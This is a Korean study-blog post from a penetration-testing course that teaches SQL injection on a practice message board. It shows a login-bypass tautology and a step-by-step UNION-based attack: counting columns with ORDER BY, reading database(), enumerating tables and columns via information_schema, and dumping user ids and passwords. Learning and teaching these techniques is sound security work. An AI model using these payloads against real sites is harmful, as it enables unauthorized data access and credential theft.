SQL Injection
SQL Injection이란 악의적인 SQL 구문을 주입하여 Database가 비정상적인 동작을 하는 것을 말한다.
- 인증 우회 (5주차)
- 데이터 탈취 (6주차)
데이터 추출
SQL Injection을 통해 데이터를 추출할 수 있다.
- DB 데이터를 사용하는 곳 확인
- 데이터가 화면에 나오는지 확인
크게 두 가지 방법을 통해 SQL Injection을 이용할 수 있는지 여부를 알 수 있다.
그리고 웹 페이지에 데이터가 표시되는지 여부에 따라 두 가지 경우에 대해 데이터 추출이 가능하다.
- 게시판
- 로그인, 아이디 중복 체크
웹 페이지에 데이터가 표시되는 경우에 대해 데이터를 추출하는 방법으로 SQL 쿼리를 작성할 수 있다.
SELECT * FROM member WHERE id = '___' and pass ='___';
어떤 사이트의 SQL 구문이 위와 같다고 가정할때, SQL Injection을 이용할 수 있다.
아이디와 비밀번호를 몰라도 모든 row를 출력할 수 있는데,
SELECT * FROM member WHERE id = 'normaltic' and pass ='1234' or '1' = '1';
와 같이 입력하게 되면 and / or 연산에 따라서 and를 먼저 연산하게 되어 거짓이 나오고,
or 연산시 우변 값은 항상 참이기 때문에, 테이블의 모든 데이터 조회가 가능하다.
그러나 위의 방법의 경우에는 member 라는 테이블 범위를 벗어나서 데이터를 조회할 수 없다.
table 범위 밖의 데이터를 추출하려면 UNION 연산이 필요하다
UNION SQL Injection
union의 특징과 order by index를 이용하여 데이터베이스명, 테이블명, 칼럼명을 몰라도 데이터 추출을 할 수 있다.
그리고 다음의 7가지 순서가 존재한다.
- SQL Injection 포인트 찾기
- Column 개수 찾기
- 출력되는 Column 위치 찾기
- DB 이름 확인
- Table 이름 확인
- Column 이름 확인
- 데이터 추출
<문제> 아래의 Overwatch 게시판에서 id, password 털기
1. SQL Injection 포인트 찾기
위에서 2가지의 확인 사항이 있었다.
- DB 데이터를 사용하는 곳 확인
- 데이터가 화면에 나오는지 확인
먼저 검색 기능이 존재하는 것을 확인했다.
그리고 게시판 검색 기능에 over%' and'1%'='1 를 입력 해 보았다.
이미지와 같이 over 글자와 관련된 값이 출력 되는데, SQL Injection이 가능하다는 것을 파악했다.
위의 코드는
SELECT * FROM 테이블 WHERE name like '%검색어%';
와 같이 이루어져 있을 것이라고 생각했다.
※ %' and'1%'='1 을 추가로 입력하는 이유
검색어를 입력하는 쿼리 부분은 '%검색어%' 와 같다.
먼저, %' 을 넣음으로써 '%검색어%' 형식을 맞추어 준다.
이어서 and 연산자를 추가하고, '1%'='1을 입력하게 되면 남아있는 %' 연산자가 붙게 되면서
'%검색어%' and '1%'='1%' 쿼리에 따라 검색어가 존재할 경우 항상 참을 출력하기 때문이다.
2. Column 개수 찾기
- order by index로 정렬을 할 수 있는 원리
order by는 보통 'order by 칼럼명' 형식으로 작성하지만, 인덱스로도 작동이 가능한 점을 이용한다.
SELECT * FROM 테이블 WHERE name like '%검색어% order by 4#
위의 게시판에서는 인덱스 4까지 넣었을 경우 정상적으로 작동하였고, 5를 넣었을 때 오류가 났다.
범위 밖의 index를 입력했기 때문에 오류가 나타난 것이며, 칼럼이 4개인 것을 알 수 있다.
3. 출력되는 Column 위치 찾기
- union 연산 중에서 column개수가 같아야 하는 원리
- select만 입력할 경우 칼럼에 각각 이어서 출력되는 원리
SELECT * FROM '테이블명' WHERE name like '%검색어% union select 1,2,3,4#
union 이전의 쿼리에서 name이 Overwatch인 row와 칼럼 개수를 맞추어 주는 작업을 하면서 칼럼 개수를 파악한다.
(칼럼 개수가 다르면 오류를 출력)
위의 게시판에서는 1번 인덱스 칼럼은 히든 칼럼이며 2,3,4번 칼럼이 게시판에 나타났음을 알 수 있다.
+그리고 마지막에 #를 붙인 이유는 뒤의 %' 부분을 주석처리하기 위함이다.
4. DB 이름 확인
- DB 이름 출력 명령어 : database()
SELECT * FROM '테이블명' WHERE name like '%검색어% union select 1,2,3,database()#
화면에 표시되는 칼럼의 숫자를 지우고 database()를 입력한다.
그리고 출력되는 DB 명을 확인한다.
5. Table 이름 확인
- table 이름 출력 명령어
SELECT * FROM '테이블명' WHERE name like '%검색어%' union select 1,2,3,table_name from information_schema.tables where table_schema = 'DB명' #
4번 과정에서 얻은 DB 명을 바탕으로 DB안의 table 명을 얻는다.
segfault_sql 데이터베이스에는 총 4개의 테이블이 존재한다.(game, member, secret, secret_member)
※ 테이블 명을 몰라도 조회가 가능한 이유
테이블을 생성하게 되면 데이터 베이스 시스템이 관리하는 시스템 테이블(System Table) 안에 테이블 이름이 자동으로 기입되기 때문이다.
SELECT table_name from information_schema.tables where table_schema = 'DB명'
따라서 DB명을 알면 system table을 조회하여 칼럼명을 얻을 수 있다.
6. Column 이름 확인
- Column 이름 추출 명령어
SELECT * FROM '테이블명' WHERE name like '%검색어%' union select 1,2,3,column_name from information_schema.columns where table_name = '테이블명' #
5번 과정에서 얻은 table 명을 이용하여 칼럼명을 얻는다.
쿼리는 5번과 비슷하며, DB 명과 table을 table과 column으로 수정하여 실행을 할 수 있다.
칼럼도 테이블과 마찬가지로 system table 안에 기록이 되어 있기 때문에, system table을 열람하여 칼럼 명을 얻을 수 있다
7. 데이터 추출
- SFW 명령어
SELECT * FROM '테이블명' WHERE name like '%검색어%' union select 1,2,칼럼명,칼럼명 from '테이블명' #
5, 6번 과정에서 얻은 테이블 명과 칼럼 명을 바탕으로 최종적으로 유저의 id와 password를 출력한다.
남은 테이블에서도 각각 데이터들을 추출해보았다.
'모의해킹 스터디 > Week6' 카테고리의 다른 글
[SQL Injection] 특정 데이터만 출력하기 (1) | 2024.05.27 |
---|---|
[CTF] Login Bypass3 풀이 (1) | 2024.05.26 |
[CTF] Login Bypass 2 풀이 (1) | 2024.05.26 |
[웹개발] SQL Injection 확인 페이지 개발 (1) | 2024.05.25 |
[SQL] union과 order by (0) | 2024.05.24 |